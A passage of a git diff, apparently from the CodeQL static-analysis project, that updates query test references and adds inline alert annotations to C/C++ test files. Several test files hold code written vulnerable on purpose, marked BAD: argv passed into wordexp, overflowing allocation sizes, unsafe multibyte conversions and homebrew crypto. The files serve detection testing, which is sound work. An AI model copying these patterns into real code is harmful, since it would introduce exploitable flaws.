string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/upgrade.properties b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/upgrade.properties new file mode 100644 index 000000000000..d3a842d2cbb5 --- /dev/null +++ b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/upgrade.properties @@ -0,0 +1,2 @@ +description: Fix NameQualifier inconsistency +compatibility: full diff --git a/cpp/ql/test/examples/BadLocking/AV Rule 107.qlref b/cpp/ql/test/examples/BadLocking/AV Rule 107.qlref index 57f35c3bcf2d..e24890cc9a86 100644 --- a/cpp/ql/test/examples/BadLocking/AV Rule 107.qlref +++ b/cpp/ql/test/examples/BadLocking/AV Rule 107.qlref @@ -1 +1,2 @@ -jsf/4.13 Functions/AV Rule 107.ql +query: jsf/4.13 Functions/AV Rule 107.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/examples/BadLocking/LocalVariableHidesGlobalVariable.qlref b/cpp/ql/test/examples/BadLocking/LocalVariableHidesGlobalVariable.qlref index 0267b31251d3..326ddde08d3e 100644 --- a/cpp/ql/test/examples/BadLocking/LocalVariableHidesGlobalVariable.qlref +++ b/cpp/ql/test/examples/BadLocking/LocalVariableHidesGlobalVariable.qlref @@ -1 +1,2 @@ -Best Practices/Hiding/LocalVariableHidesGlobalVariable.ql +query: Best Practices/Hiding/LocalVariableHidesGlobalVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/examples/BadLocking/UnintendedDeclaration.cpp b/cpp/ql/test/examples/BadLocking/UnintendedDeclaration.cpp index 034291f4d197..babe4a7fced2 100644 --- a/cpp/ql/test/examples/BadLocking/UnintendedDeclaration.cpp +++ b/cpp/ql/test/examples/BadLocking/UnintendedDeclaration.cpp @@ -48,7 +48,7 @@ void test1() void test2() { - Lock myLock(); // BAD (interpreted as a function declaration, this does nothing) + Lock myLock(); // BAD (interpreted as a function declaration, this does nothing) // $ Alert[cpp/function-in-block] // ... } @@ -62,14 +62,14 @@ void test3() void test4() { - Lock(myMutex); // BAD (creates an uninitialized variable called `myMutex`, probably not intended) + Lock(myMutex); // BAD (creates an uninitialized variable called `myMutex`, probably not intended) // $ Alert[cpp/local-variable-hides-global-variable] // ... } void test5() { - Lock myLock(Mutex); // BAD (interpreted as a function declaration, this does nothing) + Lock myLock(Mutex); // BAD (interpreted as a function declaration, this does nothing) // $ Alert[cpp/function-in-block] // ... } diff --git a/cpp/ql/test/examples/expressions/PrintAST.qlref b/cpp/ql/test/examples/expressions/PrintAST.qlref index 6fcb30ac7a6e..645e39136f5b 100644 --- a/cpp/ql/test/examples/expressions/PrintAST.qlref +++ b/cpp/ql/test/examples/expressions/PrintAST.qlref @@ -1 +1 @@ -semmle/code/cpp/PrintAST.ql \ No newline at end of file +query: semmle/code/cpp/PrintAST.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.qlref index a4543b332ddb..b88242c72ab1 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser.ql +query: experimental/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/LateCheckOfFunctionArgument.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/LateCheckOfFunctionArgument.qlref index e9107625d293..b0ca696135e2 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/LateCheckOfFunctionArgument.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/LateCheckOfFunctionArgument.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-020/LateCheckOfFunctionArgument.ql +query: experimental/Security/CWE/CWE-020/LateCheckOfFunctionArgument.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/test.c index 40fb688fb203..4a1ceb2ec8a6 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/semmle/tests/test.c @@ -3,6 +3,6 @@ void workFunction_0(char *s) { char buf[80], buf1[8]; if(len<0) return; memset(buf,0,len); //GOOD - memset(buf1,0,len1); //BAD + memset(buf1,0,len1); //BAD // $ Alert if(len1<0) return; } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/WordexpTainted.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/WordexpTainted.qlref index ecff539f3e63..d58923728783 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/WordexpTainted.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/WordexpTainted.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-078/WordexpTainted.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-078/WordexpTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/test.cpp index 0ae98b8f1632..7c8224ce6534 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-078/test.cpp @@ -19,14 +19,14 @@ enum { int wordexp(const char *restrict s, wordexp_t *restrict p, int flags); -int main(int argc, char** argv) { +int main(int argc, char** argv) { // $ Source char *filePath = argv[2]; { // BAD: the user string is injected directly into `wordexp` which performs command substitution wordexp_t we; - wordexp(filePath, &we, 0); + wordexp(filePath, &we, 0); // $ Alert } { diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/FindWrapperFunctions.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/FindWrapperFunctions.qlref index 22dae13892f8..c3c257615c32 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/FindWrapperFunctions.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/FindWrapperFunctions.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-1041/FindWrapperFunctions.ql +query: experimental/Security/CWE/CWE-1041/FindWrapperFunctions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/test.cpp index 4f862a324e59..bd7e8f40d74c 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1041/semmle/tests/test.cpp @@ -20,7 +20,7 @@ void myFclose(FILE * fmy) int main(int argc, char *argv[]) { fe = fopen("myFile.txt", "wt"); - fclose(fe); // BAD + fclose(fe); // BAD // $ Alert fe = fopen("myFile.txt", "wt"); myFclose(fe); // GOOD return 0; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/DeclarationOfVariableWithUnnecessarilyWideScope.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/DeclarationOfVariableWithUnnecessarilyWideScope.qlref index 6da5822f7f02..2a1e44064547 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/DeclarationOfVariableWithUnnecessarilyWideScope.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/DeclarationOfVariableWithUnnecessarilyWideScope.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-1126/DeclarationOfVariableWithUnnecessarilyWideScope.ql +query: experimental/Security/CWE/CWE-1126/DeclarationOfVariableWithUnnecessarilyWideScope.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/test.c index 47d89188e6b4..fc078db7924c 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1126/semmle/tests/test.c @@ -11,7 +11,7 @@ void workFunction_0(char *s) { while(intIndex > 2) { buf[intIndex] = 1; - int intIndex; // BAD + int intIndex; // BAD // $ Alert intIndex--; } intIndex = 10; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/CustomCryptographicPrimitive.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/CustomCryptographicPrimitive.qlref index ddf0380834b1..30a603676bb1 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/CustomCryptographicPrimitive.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/CustomCryptographicPrimitive.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-1240/CustomCryptographicPrimitive.ql +query: experimental/Security/CWE/CWE-1240/CustomCryptographicPrimitive.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/tests_crypto.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/tests_crypto.cpp index 6aa1bbe06a7f..56dd45e3a64a 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/tests_crypto.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-1240/tests_crypto.cpp @@ -8,7 +8,7 @@ int strlen(const char *string); // the following function is homebrew crypto written for this test. This is a bad algorithm // on multiple levels and should never be used in cryptography. -void encryptString(char *string, unsigned int key) { +void encryptString(char *string, unsigned int key) { // $ Alert char *ptr = string; int len = strlen(string); @@ -27,7 +27,7 @@ void encryptString(char *string, unsigned int key) { // the following function is homebrew crypto written for this test. This is a bad algorithm // on multiple levels and should never be used in cryptography. -void MyEncrypt(const unsigned int *dataIn, unsigned int *dataOut, unsigned int dataSize, unsigned int key[2]) { +void MyEncrypt(const unsigned int *dataIn, unsigned int *dataOut, unsigned int dataSize, unsigned int key[2]) { // $ Alert unsigned int state[2]; unsigned int t; @@ -48,7 +48,7 @@ void MyEncrypt(const unsigned int *dataIn, unsigned int *dataOut, unsigned int d // the following function resembles an implementation of the AES "mix columns" // step. It is not accurate, efficient or safe and should never be used in // cryptography. -void mix_columns(const uint8_t inputs[4], uint8_t outputs[4]) { +void mix_columns(const uint8_t inputs[4], uint8_t outputs[4]) { // $ Alert // The "mix columns" step takes four bytes as inputs. Each byte represents a // polynomial with 8 one-bit coefficients, e.g. input bits 00001101 // represent the polynomial x^3 + x^2 + 1. Arithmetic is reduced modulo @@ -80,7 +80,7 @@ void mix_columns(const uint8_t inputs[4], uint8_t outputs[4]) { // the following function resembles initialization of an S-box as may be done // in an implementation of DES, AES and other encryption algorithms. It is not // accurate, efficient or safe and should never be used in cryptography. -void init_aes_sbox(unsigned char data[256]) { +void init_aes_sbox(unsigned char data[256]) { // $ Alert // initialize `data` in a loop using lots of ^, ^= and << operations and // a few fixed constants. unsigned int state = 0x12345678; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/DangerousWorksWithMultibyteOrWideCharacters.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/DangerousWorksWithMultibyteOrWideCharacters.qlref index 228684a4e250..9c9b71af695a 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/DangerousWorksWithMultibyteOrWideCharacters.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/DangerousWorksWithMultibyteOrWideCharacters.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-125/DangerousWorksWithMultibyteOrWideCharacters.ql +query: experimental/Security/CWE/CWE-125/DangerousWorksWithMultibyteOrWideCharacters.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test.cpp index b4f0830039d8..9c5f15048fef 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test.cpp @@ -63,7 +63,7 @@ static void badTest1(const char* ptr) int ret; int len; len = strlen(ptr); - for (wchar_t wc; (ret = mbtowc(&wc, ptr, 4)) > 0; len-=ret) { // BAD:we can get unpredictable results + for (wchar_t wc; (ret = mbtowc(&wc, ptr, 4)) > 0; len-=ret) { // BAD:we can get unpredictable results // $ Alert wprintf(L"%lc", wc); ptr += ret; } @@ -73,7 +73,7 @@ static void badTest2(const char* ptr) int ret; int len; len = strlen(ptr); - for (wchar_t wc; (ret = mbtowc(&wc, ptr, sizeof(wchar_t))) > 0; len-=ret) { // BAD:we can get unpredictable results + for (wchar_t wc; (ret = mbtowc(&wc, ptr, sizeof(wchar_t))) > 0; len-=ret) { // BAD:we can get unpredictable results // $ Alert wprintf(L"%lc", wc); ptr += ret; } @@ -103,7 +103,7 @@ static void badTest3(const char* ptr,int wc_len) len = wc_len; wchar_t *wc = new wchar_t[wc_len]; while (*ptr && len > 0) { - ret = mbtowc(wc, ptr, MB_CUR_MAX); // BAD + ret = mbtowc(wc, ptr, MB_CUR_MAX); // BAD // $ Alert if (ret <0) break; if (ret == 0 || ret > len) @@ -120,7 +120,7 @@ static void badTest4(const char* ptr,int wc_len) len = wc_len; wchar_t *wc = new wchar_t[wc_len]; while (*ptr && len > 0) { - ret = mbtowc(wc, ptr, 16); // BAD + ret = mbtowc(wc, ptr, 16); // BAD // $ Alert if (ret <0) break; if (ret == 0 || ret > len) @@ -137,7 +137,7 @@ static void badTest5(const char* ptr,int wc_len) len = wc_len; wchar_t *wc = new wchar_t[wc_len]; while (*ptr && len > 0) { - ret = mbtowc(wc, ptr, sizeof(wchar_t)); // BAD + ret = mbtowc(wc, ptr, sizeof(wchar_t)); // BAD // $ Alert if (ret <0) break; if (ret == 0 || ret > len) @@ -155,7 +155,7 @@ static void badTest6(const char* ptr,int wc_len) len = wc_len; wchar_t *wc = new wchar_t[wc_len]; while (*ptr && wc_len > 0) { - ret = mbtowc(wc, ptr, wc_len); // BAD + ret = mbtowc(wc, ptr, wc_len); // BAD // $ Alert if (ret <0) if (checkErrors()) { ++ptr; @@ -178,7 +178,7 @@ static void badTest7(const char* ptr,int wc_len) len = wc_len; wchar_t *wc = new wchar_t[wc_len]; while (*ptr && wc_len > 0) { - ret = mbtowc(wc, ptr, len); // BAD + ret = mbtowc(wc, ptr, len); // BAD // $ Alert if (ret <0) break; if (ret == 0 || ret > len) @@ -194,7 +194,7 @@ static void badTest8(const char* ptr,wchar_t *wc) int len; len = strlen(ptr); while (*ptr && len > 0) { - ret = mbtowc(wc, ptr, len); // BAD + ret = mbtowc(wc, ptr, len); // BAD // $ Alert if (ret <0) break; if (ret == 0 || ret > len) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test1.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test1.cpp index d66f36d38b97..40916f0c4b75 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test1.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test1.cpp @@ -25,8 +25,8 @@ void* calloc (size_t num, size_t size); void* malloc (size_t size); static void badTest1(void *src, int size) { - WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)src, -1, (LPSTR)src, size, 0, 0); // BAD - MultiByteToWideChar(CP_ACP, 0, (LPCSTR)src, -1, (LPCWSTR)src, 30); // BAD + WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)src, -1, (LPSTR)src, size, 0, 0); // BAD // $ Alert + MultiByteToWideChar(CP_ACP, 0, (LPCSTR)src, -1, (LPCWSTR)src, 30); // BAD // $ Alert } void goodTest2(){ wchar_t src[] = L"0123456789ABCDEF"; @@ -42,7 +42,7 @@ void goodTest2(){ static void badTest2(){ wchar_t src[] = L"0123456789ABCDEF"; char dst[16]; - WideCharToMultiByte(CP_UTF8, 0, src, -1, dst, 16, NULL, NULL); // BAD + WideCharToMultiByte(CP_UTF8, 0, src, -1, dst, 16, NULL, NULL); // BAD // $ Alert printf("%s\n", dst); } static void goodTest3(){ @@ -55,7 +55,7 @@ static void badTest3(){ char src[] = "0123456789ABCDEF"; int size = MultiByteToWideChar(CP_UTF8, 0, src,sizeof(src),NULL,0); wchar_t * dst = (wchar_t*)calloc(size + 1, 1); - MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, size+1); // BAD + MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, size+1); // BAD // $ Alert } static void goodTest4(){ char src[] = "0123456789ABCDEF"; @@ -67,13 +67,13 @@ static void badTest4(){ char src[] = "0123456789ABCDEF"; int size = MultiByteToWideChar(CP_UTF8, 0, src,sizeof(src),NULL,0); wchar_t * dst = (wchar_t*)malloc(size + 1); - MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, size+1); // BAD + MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, size+1); // BAD // $ Alert } static int goodTest5(void *src){ return WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)src, -1, 0, 0, 0, 0); // GOOD } static int badTest5 (void *src) { - return WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)src, -1, 0, 3, 0, 0); // BAD + return WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)src, -1, 0, 3, 0, 0); // BAD // $ Alert } static void goodTest6(WCHAR *src) { @@ -90,6 +90,6 @@ static void goodTest6(WCHAR *src) static void badTest6(WCHAR *src) { char dst[5] =""; - WideCharToMultiByte(CP_ACP, 0, src, -1, dst, 260, 0, 0); // BAD + WideCharToMultiByte(CP_ACP, 0, src, -1, dst, 260, 0, 0); // BAD // $ Alert printf("%s\n", dst); } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test2.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test2.cpp index 65e5a9ee275f..07bf78f5f3d9 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test2.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test2.cpp @@ -12,11 +12,11 @@ size_t mbsrtowcs(wchar_t *wcstr,const char *mbstr,size_t count, mbstate_t *mbsta static void badTest1(void *src, int size) { - mbstowcs((wchar_t*)src,(char*)src,size); // BAD + mbstowcs((wchar_t*)src,(char*)src,size); // BAD // $ Alert _locale_t locale; - _mbstowcs_l((wchar_t*)src,(char*)src,size,locale); // BAD + _mbstowcs_l((wchar_t*)src,(char*)src,size,locale); // BAD // $ Alert mbstate_t *mbstate; - mbsrtowcs((wchar_t*)src,(char*)src,size,mbstate); // BAD + mbsrtowcs((wchar_t*)src,(char*)src,size,mbstate); // BAD // $ Alert } static void goodTest2(){ char src[] = "0123456789ABCDEF"; @@ -32,7 +32,7 @@ static void goodTest2(){ static void badTest2(){ char src[] = "0123456789ABCDEF"; wchar_t dst[16]; - mbstowcs(dst, src,16); // BAD + mbstowcs(dst, src,16); // BAD // $ Alert printf("%s\n", dst); } static void goodTest3(){ @@ -45,7 +45,7 @@ static void badTest3(){ char src[] = "0123456789ABCDEF"; int size = mbstowcs(NULL, src,NULL); wchar_t * dst = (wchar_t*)calloc(size + 1, 1); - mbstowcs(dst, src,size+1); // BAD + mbstowcs(dst, src,size+1); // BAD // $ Alert } static void goodTest4(){ char src[] = "0123456789ABCDEF"; @@ -57,13 +57,13 @@ static void badTest4(){ char src[] = "0123456789ABCDEF"; int size = mbstowcs(NULL, src,NULL); wchar_t * dst = (wchar_t*)malloc(size + 1); - mbstowcs(dst, src,size+1); // BAD + mbstowcs(dst, src,size+1); // BAD // $ Alert } static int goodTest5(void *src){ return mbstowcs(NULL, (char*)src,NULL); // GOOD } static int badTest5 (void *src) { - return mbstowcs(NULL, (char*)src,3); // BAD + return mbstowcs(NULL, (char*)src,3); // BAD // $ Alert } static void goodTest6(void *src){ wchar_t dst[5]; @@ -77,6 +77,6 @@ static void goodTest6(void *src){ } static void badTest6(void *src){ wchar_t dst[5]; - mbstowcs(dst, (char*)src,260); // BAD + mbstowcs(dst, (char*)src,260); // BAD // $ Alert printf("%s\n", dst); } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test3.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test3.cpp index 662cdfc7be81..4ac5ce29fc66 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test3.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-125/semmle/tests/test3.cpp @@ -13,7 +13,7 @@ static size_t badTest1(unsigned char *src){ int cb = 0; unsigned char dst[50]; while( cb < sizeof(dst) ) - dst[cb++]=*src++; // BAD + dst[cb++]=*src++; // BAD // $ Alert return _mbclen(dst); } static void goodTest2(unsigned char *src){ @@ -33,7 +33,7 @@ static void badTest2(unsigned char *src){ unsigned char dst[50]; while( cb < sizeof(dst) ) { - _mbccpy(dst+cb,src); // BAD + _mbccpy(dst+cb,src); // BAD // $ Alert cb+=_mbclen(src); src=_mbsinc(src); } @@ -44,5 +44,5 @@ static void goodTest3(){ } static void badTest3(){ wchar_t name[50]; - name[sizeof(name) - 1] = L'\0'; // BAD + name[sizeof(name) - 1] = L'\0'; // BAD // $ Alert } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref index 7bb108b66280..fc48bdd1c2b3 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql +query: experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp index 3f49ebdece6f..63044b1a3a97 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp @@ -10,31 +10,31 @@ void test() int y = getAnInt(); char *buffer1 = (char *)malloc(x + y); // GOOD - char *buffer2 = (char *)malloc(x * y); // BAD + char *buffer2 = (char *)malloc(x * y); // BAD // $ Alert int *buffer3 = (int *)malloc(x * sizeof(int)); // GOOD - int *buffer4 = (int *)malloc(x * y * sizeof(int)); // BAD + int *buffer4 = (int *)malloc(x * y * sizeof(int)); // BAD // $ Alert if ((x <= 1000) && (y <= 1000)) { - char *buffer5 = (char *)malloc(x * y); // GOOD [FALSE POSITIVE] + char *buffer5 = (char *)malloc(x * y); // GOOD [FALSE POSITIVE] // $ Alert } - size_t size1 = x * y; - char *buffer5 = (char *)malloc(size1); // BAD + size_t size1 = x * y; // $ Source + char *buffer5 = (char *)malloc(size1); // BAD // $ Alert size_t size2 = x; size2 *= y; char *buffer6 = (char *)malloc(size2); // BAD [NOT DETECTED] char *buffer7 = new char[x * 10]; // GOOD - char *buffer8 = new char[x * y]; // BAD - char *buffer9 = new char[x * x]; // BAD + char *buffer8 = new char[x * y]; // BAD // $ Alert + char *buffer9 = new char[x * x]; // BAD // $ Alert } // --- custom allocators --- -void *MyMalloc1(size_t size) { return malloc(size); } // [additional detection here] +void *MyMalloc1(size_t size) { return malloc(size); } // [additional detection here] // $ Alert void *MyMalloc2(size_t size); void customAllocatorTests() @@ -42,6 +42,6 @@ void customAllocatorTests() int x = getAnInt(); int y = getAnInt(); - char *buffer1 = (char *)MyMalloc1(x * y); // BAD - char *buffer2 = (char *)MyMalloc2(x * y); // BAD + char *buffer1 = (char *)MyMalloc1(x * y); // BAD // $ Alert Source + char *buffer2 = (char *)MyMalloc2(x * y); // BAD // $ Alert } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/DangerousUseOfTransformationAfterOperation.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/DangerousUseOfTransformationAfterOperation.qlref index 84f717acda79..ec83c625619a 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/DangerousUseOfTransformationAfterOperation.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/DangerousUseOfTransformationAfterOperation.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation.ql +query: experimental/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/test.cpp index 472c8ac0afac..ab4d7f4c2e77 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/DangerousUseOfTransformationAfterOperation/test.cpp @@ -6,17 +6,17 @@ void functionWork(char aA[10],unsigned int aUI) { int aI; aI = (aUI*8)/10; // GOOD - aI = aUI*8; // BAD + aI = aUI*8; // BAD // $ Alert aP = aA+aI; aI = (int)aUI*8; // GOOD - aL = (unsigned long)(aI*aI); // BAD + aL = (unsigned long)(aI*aI); // BAD // $ Alert aL = ((unsigned long)aI*aI); // GOOD - testCall((unsigned long)(aI*aI)); // BAD + testCall((unsigned long)(aI*aI)); // BAD // $ Alert testCall(((unsigned long)aI*aI)); // GOOD - if((unsigned long)(aI*aI) > aL) // BAD + if((unsigned long)(aI*aI) > aL) // BAD // $ Alert return; if(((unsigned long)aI*aI) > aL) // GOOD return; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/IfStatementAdditionOverflow.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/IfStatementAdditionOverflow.qlref index 0873051581d9..2a390e2a518b 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/IfStatementAdditionOverflow.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/IfStatementAdditionOverflow.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-190/IfStatementAdditionOverflow.ql +query: experimental/Security/CWE/CWE-190/IfStatementAdditionOverflow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git 